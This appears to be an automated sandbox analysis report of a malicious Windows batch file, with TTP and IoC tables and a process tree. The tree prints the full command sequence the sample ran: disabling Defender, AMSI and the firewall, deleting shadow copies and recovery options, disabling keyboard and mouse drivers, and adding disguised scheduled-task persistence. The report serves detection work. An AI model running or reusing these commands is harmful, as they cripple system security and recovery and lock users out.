13706940162f70fa0f06b6db1166ffd0fe15120b2da98c313323cb288199e9c6

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 16 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe

Modifies Windows Defender TamperProtection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	reg.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 12 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
392	bcdedit.exe
1396	bcdedit.exe
4928	bcdedit.exe
2452	bcdedit.exe
4856	bcdedit.exe
1668	bcdedit.exe
3464	bcdedit.exe
3632	bcdedit.exe
3868	bcdedit.exe
4784	bcdedit.exe
2720	bcdedit.exe
1608	bcdedit.exe

Disables Task Manager via registry modification
defense_evasion

Modifies Windows Firewall 2 TTPs 2 IoCs

defense_evasion

Windows Service

persistence privilege_escalation

Disable or Modify System Firewall

T1562.004

pid	Process
3084	netsh.exe
4260	netsh.exe

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
452	takeown.exe
860	icacls.exe
2044	takeown.exe
2532	icacls.exe
4700	takeown.exe
740	icacls.exe
3676	takeown.exe
5068	icacls.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.bat	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.bat	cmd.exe

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3676	takeown.exe
5068	icacls.exe
452	takeown.exe
860	icacls.exe
2044	takeown.exe
2532	icacls.exe
4700	takeown.exe
740	icacls.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\Recovery	ReAgentc.exe
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	ReAgentc.exe

Drops file in Windows directory 8 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe

Launches sc.exe 40 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2180	sc.exe
2440	sc.exe
1476	sc.exe
4968	sc.exe
4080	sc.exe
4048	sc.exe
3972	sc.exe
4352	sc.exe
1612	sc.exe
4804	sc.exe
3528	sc.exe
5040	sc.exe
1208	sc.exe
2924	sc.exe
1740	sc.exe
4572	sc.exe
3256	sc.exe
4444	sc.exe
808	sc.exe
4728	sc.exe
2176	sc.exe
2392	sc.exe
1332	sc.exe
4700	sc.exe
740	sc.exe
1976	sc.exe
3144	sc.exe
4224	sc.exe
4532	sc.exe
5100	sc.exe
2740	sc.exe
4340	sc.exe
4800	sc.exe
2296	sc.exe
516	sc.exe
4964	sc.exe
3152	sc.exe
992	sc.exe
1096	sc.exe
1576	sc.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Delays execution with timeout.exe 2 IoCs

defense_evasion

pid	Process
4172	timeout.exe
4044	timeout.exe

Interacts with shadow copies 3 TTPs 2 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
3684	vssadmin.exe
1996	vssadmin.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
1996	schtasks.exe
3328	schtasks.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	1412	WMIC.exe
Token: SeSecurityPrivilege	1412	WMIC.exe
Token: SeTakeOwnershipPrivilege	1412	WMIC.exe
Token: SeLoadDriverPrivilege	1412	WMIC.exe
Token: SeSystemProfilePrivilege	1412	WMIC.exe
Token: SeSystemtimePrivilege	1412	WMIC.exe
Token: SeProfSingleProcessPrivilege	1412	WMIC.exe
Token: SeIncBasePriorityPrivilege	1412	WMIC.exe
Token: SeCreatePagefilePrivilege	1412	WMIC.exe
Token: SeBackupPrivilege	1412	WMIC.exe
Token: SeRestorePrivilege	1412	WMIC.exe
Token: SeShutdownPrivilege	1412	WMIC.exe
Token: SeDebugPrivilege	1412	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1412	WMIC.exe
Token: SeRemoteShutdownPrivilege	1412	WMIC.exe
Token: SeUndockPrivilege	1412	WMIC.exe
Token: SeManageVolumePrivilege	1412	WMIC.exe
Token: 33	1412	WMIC.exe
Token: 34	1412	WMIC.exe
Token: 35	1412	WMIC.exe
Token: 36	1412	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1412	WMIC.exe
Token: SeSecurityPrivilege	1412	WMIC.exe
Token: SeTakeOwnershipPrivilege	1412	WMIC.exe
Token: SeLoadDriverPrivilege	1412	WMIC.exe
Token: SeSystemProfilePrivilege	1412	WMIC.exe
Token: SeSystemtimePrivilege	1412	WMIC.exe
Token: SeProfSingleProcessPrivilege	1412	WMIC.exe
Token: SeIncBasePriorityPrivilege	1412	WMIC.exe
Token: SeCreatePagefilePrivilege	1412	WMIC.exe
Token: SeBackupPrivilege	1412	WMIC.exe
Token: SeRestorePrivilege	1412	WMIC.exe
Token: SeShutdownPrivilege	1412	WMIC.exe
Token: SeDebugPrivilege	1412	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1412	WMIC.exe
Token: SeRemoteShutdownPrivilege	1412	WMIC.exe
Token: SeUndockPrivilege	1412	WMIC.exe
Token: SeManageVolumePrivilege	1412	WMIC.exe
Token: 33	1412	WMIC.exe
Token: 34	1412	WMIC.exe
Token: 35	1412	WMIC.exe
Token: 36	1412	WMIC.exe
Token: SeBackupPrivilege	4884	vssvc.exe
Token: SeRestorePrivilege	4884	vssvc.exe
Token: SeAuditPrivilege	4884	vssvc.exe
Token: SeIncreaseQuotaPrivilege	4316	WMIC.exe
Token: SeSecurityPrivilege	4316	WMIC.exe
Token: SeTakeOwnershipPrivilege	4316	WMIC.exe
Token: SeLoadDriverPrivilege	4316	WMIC.exe
Token: SeSystemProfilePrivilege	4316	WMIC.exe
Token: SeSystemtimePrivilege	4316	WMIC.exe
Token: SeProfSingleProcessPrivilege	4316	WMIC.exe
Token: SeIncBasePriorityPrivilege	4316	WMIC.exe
Token: SeCreatePagefilePrivilege	4316	WMIC.exe
Token: SeBackupPrivilege	4316	WMIC.exe
Token: SeRestorePrivilege	4316	WMIC.exe
Token: SeShutdownPrivilege	4316	WMIC.exe
Token: SeDebugPrivilege	4316	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4316	WMIC.exe
Token: SeRemoteShutdownPrivilege	4316	WMIC.exe
Token: SeUndockPrivilege	4316	WMIC.exe
Token: SeManageVolumePrivilege	4316	WMIC.exe
Token: 33	4316	WMIC.exe
Token: 34	4316	WMIC.exe

Suspicious use of WriteProcessMemory 60 IoCs

description	pid	Process	procid_target
PID 2756 wrote to memory of 4560	2756	cmd.exe	86
PID 4560 wrote to memory of 2664	4560	net.exe	87
PID 2756 wrote to memory of 2332	2756	cmd.exe	88
PID 2756 wrote to memory of 4172	2756	cmd.exe	89
PID 2756 wrote to memory of 1996	2756	cmd.exe	91
PID 2756 wrote to memory of 3528	2756	cmd.exe	92
PID 2756 wrote to memory of 5040	2756	cmd.exe	93
PID 2756 wrote to memory of 3972	2756	cmd.exe	95
PID 2756 wrote to memory of 4532	2756	cmd.exe	96
PID 2756 wrote to memory of 3256	2756	cmd.exe	97
PID 2756 wrote to memory of 1576	2756	cmd.exe	98
PID 2756 wrote to memory of 2392	2756	cmd.exe	99
PID 2756 wrote to memory of 2180	2756	cmd.exe	100
PID 2756 wrote to memory of 1332	2756	cmd.exe	101
PID 2756 wrote to memory of 4700	2756	cmd.exe	102
PID 2756 wrote to memory of 740	2756	cmd.exe	103
PID 2756 wrote to memory of 4444	2756	cmd.exe	104
PID 2756 wrote to memory of 3676	2756	cmd.exe	106
PID 2712 wrote to memory of 4920	2712	net.exe	107
PID 2756 wrote to memory of 5068	2756	cmd.exe	108
PID 2756 wrote to memory of 4360	2756	cmd.exe	109
PID 2756 wrote to memory of 4412	2756	cmd.exe	111
PID 2756 wrote to memory of 708	2756	cmd.exe	112
PID 2756 wrote to memory of 5080	2756	cmd.exe	114
PID 2756 wrote to memory of 4336	2756	cmd.exe	115
PID 2756 wrote to memory of 1956	2756	cmd.exe	116
PID 2756 wrote to memory of 4864	2756	cmd.exe	117
PID 2756 wrote to memory of 4804	2756	cmd.exe	118
PID 2756 wrote to memory of 2300	2756	cmd.exe	119
PID 2756 wrote to memory of 4712	2756	cmd.exe	120
PID 2756 wrote to memory of 2944	2756	cmd.exe	121
PID 2756 wrote to memory of 3588	2756	cmd.exe	122
PID 2756 wrote to memory of 3084	2756	cmd.exe	123
PID 2756 wrote to memory of 1412	2756	cmd.exe	124
PID 2756 wrote to memory of 3684	2756	cmd.exe	127
PID 2756 wrote to memory of 884	2756	cmd.exe	130
PID 2756 wrote to memory of 392	2756	cmd.exe	131
PID 2756 wrote to memory of 1396	2756	cmd.exe	132
PID 2756 wrote to memory of 4316	2756	cmd.exe	133
PID 2756 wrote to memory of 452	2756	cmd.exe	135
PID 2756 wrote to memory of 860	2756	cmd.exe	136
PID 2756 wrote to memory of 1772	2756	cmd.exe	137
PID 2756 wrote to memory of 1176	2756	cmd.exe	138
PID 2756 wrote to memory of 3332	2756	cmd.exe	139
PID 2756 wrote to memory of 2124	2756	cmd.exe	140
PID 2756 wrote to memory of 2236	2756	cmd.exe	141
PID 2756 wrote to memory of 776	2756	cmd.exe	142
PID 2756 wrote to memory of 4952	2756	cmd.exe	143
PID 2756 wrote to memory of 516	2756	cmd.exe	144
PID 2756 wrote to memory of 4048	2756	cmd.exe	145
PID 2756 wrote to memory of 1976	2756	cmd.exe	146
PID 2756 wrote to memory of 2440	2756	cmd.exe	147
PID 2756 wrote to memory of 5100	2756	cmd.exe	148
PID 2756 wrote to memory of 1476	2756	cmd.exe	149
PID 2756 wrote to memory of 2740	2756	cmd.exe	150
PID 2756 wrote to memory of 3144	2756	cmd.exe	151
PID 2756 wrote to memory of 4928	2756	cmd.exe	152
PID 2756 wrote to memory of 2452	2756	cmd.exe	153
PID 2756 wrote to memory of 4856	2756	cmd.exe	155
PID 2756 wrote to memory of 1668	2756	cmd.exe	156

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\deepseek_batch_20260416_cb0f13.bat"
1⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:2756
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4560
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:2664
- C:\Windows\system32\reg.exe
  reg delete "HKCU\Software\Classes\ms-settings" /f
  2⤵
  PID:2332
- C:\Windows\system32\timeout.exe
  timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:4172
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "MicrosoftEdgeUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\deepseek_batch_20260416_cb0f13.bat" /sc onlogon /rl highest /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1996
- C:\Windows\system32\sc.exe
  sc stop WinDefend
  2⤵
  - Launches sc.exe
  PID:3528
- C:\Windows\system32\sc.exe
  sc config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:5040
- C:\Windows\system32\sc.exe
  sc stop WdNisSvc
  2⤵
  - Launches sc.exe
  PID:3972
- C:\Windows\system32\sc.exe
  sc config WdNisSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:4532
- C:\Windows\system32\sc.exe
  sc stop Sense
  2⤵
  - Launches sc.exe
  PID:3256
- C:\Windows\system32\sc.exe
  sc config Sense start= disabled
  2⤵
  - Launches sc.exe
  PID:1576
- C:\Windows\system32\sc.exe
  sc stop WdFilter
  2⤵
  - Launches sc.exe
  PID:2392
- C:\Windows\system32\sc.exe
  sc config WdFilter start= disabled
  2⤵
  - Launches sc.exe
  PID:2180
- C:\Windows\system32\sc.exe
  sc stop WebThreatDefSvc
  2⤵
  - Launches sc.exe
  PID:1332
- C:\Windows\system32\sc.exe
  sc config WebThreatDefSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:4700
- C:\Windows\system32\sc.exe
  sc stop MsSecCore
  2⤵
  - Launches sc.exe
  PID:740
- C:\Windows\system32\sc.exe
  sc config MsSecCore start= disabled
  2⤵
  - Launches sc.exe
  PID:4444
- C:\Windows\system32\takeown.exe
  takeown /f "C:\ProgramData\Microsoft\Windows Defender\Platform" /r /d y
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:3676
- C:\Windows\system32\icacls.exe
  icacls "C:\ProgramData\Microsoft\Windows Defender\Platform" /grant administrators:F /t
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:5068
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection" /t REG_DWORD /d 0 /f
  2⤵
  - Modifies Windows Defender TamperProtection settings
  PID:4360
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender DisableAntiSpyware settings
  PID:4412
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableRoutinelyTakingAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:708
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:5080
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:4336
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:1956
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:4864
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d 1 /f
  2⤵
  PID:4804
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /t REG_DWORD /d 0 /f
  2⤵
  PID:2300
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:4712
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\CloudBlockLevel" /ve /t REG_DWORD /d 0 /f
  2⤵
  PID:2944
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}" /v "DebugMode" /t REG_DWORD /d 1 /f
  2⤵
  PID:3588
- C:\Windows\system32\netsh.exe
  netsh advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:3084
- C:\Windows\System32\Wbem\WMIC.exe
  wmic.exe /namespace:\\root\default path SystemRestore call Disable "C:\"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1412
- C:\Windows\system32\vssadmin.exe
  vssadmin delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:3684
- C:\Windows\system32\ReAgentc.exe
  reagentc /disable
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  PID:884
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {current} recoveryenabled No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:392
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {current} bootstatuspolicy ignoreallfailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1396
- C:\Windows\System32\Wbem\WMIC.exe
  wmic recoveros set AutoReboot = False
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4316
- C:\Windows\system32\takeown.exe
  takeown /f C:\Windows\System32\config\RegBack /r /d y
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:452
- C:\Windows\system32\icacls.exe
  icacls C:\Windows\System32\config\RegBack /grant administrators:F /t
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:860
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:1772
- C:\Windows\system32\reg.exe
  reg add "HKCU\Control Panel\Accessibility\StickyKeys" /v "Flags" /t REG_SZ /d "506" /f
  2⤵
  PID:1176
- C:\Windows\system32\reg.exe
  reg add "HKCU\Control Panel\Accessibility\FilterKeys" /v "Flags" /t REG_SZ /d "506" /f
  2⤵
  PID:3332
- C:\Windows\system32\reg.exe
  reg add "HKCU\Control Panel\Accessibility\ToggleKeys" /v "Flags" /t REG_SZ /d "506" /f
  2⤵
  PID:2124
- C:\Windows\system32\reg.exe
  reg add "HKCU\Control Panel\Accessibility\OnScreenKeyboard" /v "Flags" /t REG_SZ /d "506" /f
  2⤵
  PID:2236
- C:\Windows\system32\reg.exe
  reg add "HKCU\Control Panel\Accessibility\Magnifier" /v "Flags" /t REG_SZ /d "506" /f
  2⤵
  PID:776
- C:\Windows\system32\reg.exe
  reg add "HKCU\Control Panel\Accessibility\Narrator" /v "Flags" /t REG_SZ /d "506" /f
  2⤵
  PID:4952
- C:\Windows\system32\sc.exe
  sc config kbdclass start= disabled
  2⤵
  - Launches sc.exe
  PID:516
- C:\Windows\system32\sc.exe
  sc stop kbdclass
  2⤵
  - Launches sc.exe
  PID:4048
- C:\Windows\system32\sc.exe
  sc config mouclass start= disabled
  2⤵
  - Launches sc.exe
  PID:1976
- C:\Windows\system32\sc.exe
  sc stop mouclass
  2⤵
  - Launches sc.exe
  PID:2440
- C:\Windows\system32\sc.exe
  sc config kbdhid start= disabled
  2⤵
  - Launches sc.exe
  PID:5100
- C:\Windows\system32\sc.exe
  sc stop kbdhid
  2⤵
  - Launches sc.exe
  PID:1476
- C:\Windows\system32\sc.exe
  sc config mouhid start= disabled
  2⤵
  - Launches sc.exe
  PID:2740
- C:\Windows\system32\sc.exe
  sc stop mouhid
  2⤵
  - Launches sc.exe
  PID:3144
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {globalsettings} advancedoptions false
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4928
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {current} safeboot minimal
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2452
- C:\Windows\system32\bcdedit.exe
  bcdedit /deletevalue {current} safeboot
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4856
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {current} bootmenupolicy legacy
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1668

C:\Windows\system32\net.exe
net session
1⤵
- Suspicious use of WriteProcessMemory
PID:2712
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 session
  2⤵
  PID:4920

C:\Windows\system32\reg.exe
reg delete "HKCU\Software\Classes\ms-settings" /f
1⤵
PID:4640

C:\Windows\system32\timeout.exe
timeout /t 2 /nobreak
1⤵
- Delays execution with timeout.exe
PID:4044

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4884

C:\Windows\system32\schtasks.exe
schtasks /create /tn "MicrosoftEdgeUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\deepseek_batch_20260416_cb0f13.bat" /sc onlogon /rl highest /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:3328

C:\Windows\system32\sc.exe
sc stop WinDefend
1⤵
- Launches sc.exe
PID:4340

C:\Windows\system32\sc.exe
sc config WinDefend start= disabled
1⤵
- Launches sc.exe
PID:4964

C:\Windows\system32\sc.exe
sc stop WdNisSvc
1⤵
- Launches sc.exe
PID:1208

C:\Windows\system32\sc.exe
sc config WdNisSvc start= disabled
1⤵
- Launches sc.exe
PID:4352

C:\Windows\system32\sc.exe
sc stop Sense
1⤵
- Launches sc.exe
PID:4080

C:\Windows\system32\sc.exe
sc config Sense start= disabled
1⤵
- Launches sc.exe
PID:2924

C:\Windows\system32\sc.exe
sc stop WdFilter
1⤵
- Launches sc.exe
PID:2176

C:\Windows\system32\sc.exe
sc config WdFilter start= disabled
1⤵
- Launches sc.exe
PID:808

C:\Windows\system32\sc.exe
sc stop WebThreatDefSvc
1⤵
- Launches sc.exe
PID:4728

C:\Windows\system32\sc.exe
sc config WebThreatDefSvc start= disabled
1⤵
- Launches sc.exe
PID:4800

C:\Windows\system32\sc.exe
sc stop MsSecCore
1⤵
- Launches sc.exe
PID:1740

C:\Windows\system32\sc.exe
sc config MsSecCore start= disabled
1⤵
- Launches sc.exe
PID:1612

C:\Windows\system32\takeown.exe
takeown /f "C:\ProgramData\Microsoft\Windows Defender\Platform" /r /d y
1⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2044

C:\Windows\system32\icacls.exe
icacls "C:\ProgramData\Microsoft\Windows Defender\Platform" /grant administrators:F /t
1⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2532

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection" /t REG_DWORD /d 0 /f
1⤵
- Modifies Windows Defender TamperProtection settings
PID:544

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
PID:2852

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableRoutinelyTakingAction" /t REG_DWORD /d 1 /f
1⤵
PID:1328

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
1⤵
- Modifies Windows Defender Real-time Protection settings
PID:3652

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d 1 /f
1⤵
- Modifies Windows Defender Real-time Protection settings
PID:3204

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d 1 /f
1⤵
- Modifies Windows Defender Real-time Protection settings
PID:64

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d 1 /f
1⤵
- Modifies Windows Defender Real-time Protection settings
PID:4304

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d 1 /f
1⤵
PID:4200

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /t REG_DWORD /d 0 /f
1⤵
PID:4308

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
1⤵
PID:4980

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\CloudBlockLevel" /ve /t REG_DWORD /d 0 /f
1⤵
PID:3932

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}" /v "DebugMode" /t REG_DWORD /d 1 /f
1⤵
PID:2796

C:\Windows\system32\netsh.exe
netsh advfirewall set allprofiles state off
1⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:4260

C:\Windows\System32\Wbem\WMIC.exe
wmic.exe /namespace:\\root\default path SystemRestore call Disable "C:\"
1⤵
PID:2196

